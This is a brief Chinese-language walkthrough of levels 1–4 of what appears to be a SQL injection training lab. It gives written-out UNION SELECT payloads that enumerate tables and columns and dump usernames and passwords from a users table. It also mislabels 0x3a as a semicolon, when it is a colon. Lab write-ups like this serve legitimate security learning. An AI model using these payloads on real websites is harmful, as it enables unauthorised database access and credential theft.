第一关
我们先通过输入?id=1’来测试出注入点。(后面的符号不只是测试“ ‘ ”号。)
通过测试发现只有“ ’ ”号是注入点,“ ;” “ "" ”等符号不是注入点。
然后可以通过order by n 命令获取数据库字段名行数。页面的反应知道行数是否正确。
所以我们可以确定列名是3。然后我们就可以开始获取表名、数据表名和列名与字段
在这里我们使用联合注入,因为他会把结果输出给我们。
?id=-1' union select 1,user(),database()--+ #查询库名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();--+ #查询表名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';--+ #查询列名
?id=-1' union select 1,2,group_concat(username,0x3a,password) from users;--+ #查询字段,其中的 0X3a 是 ;号的十六进制表达,可以将输出结果更好的进行区分。
第二关
与第一关相同,先进行测试寻找注入点。
通过测试发现他属于数字型注入。然后直接将第一关的注入的代码将?id=1' 后的 ' 号去点,直接使用就行。
第三关
还是先测试查看注入点。
经过多次测试发现 ' 于 ”)其中一个是注入点。让我们加入代码测试发现 ")是注入点。(在这一步时,最好将?id=1改为?id=0或者负数,这样才会显示你想要的东西)
后面的步骤与之前的就一样了。
第四关
与先前一样,测试查找注入点,最终发现这次是 " 与 ") 都有嫌疑。不经过第三题,我们可以主观的判断出应该是“)。但还是需要测试一下,确保不会走歪路。结果显而易见,后面的步骤还是与上面的一样,直接带入代码即可。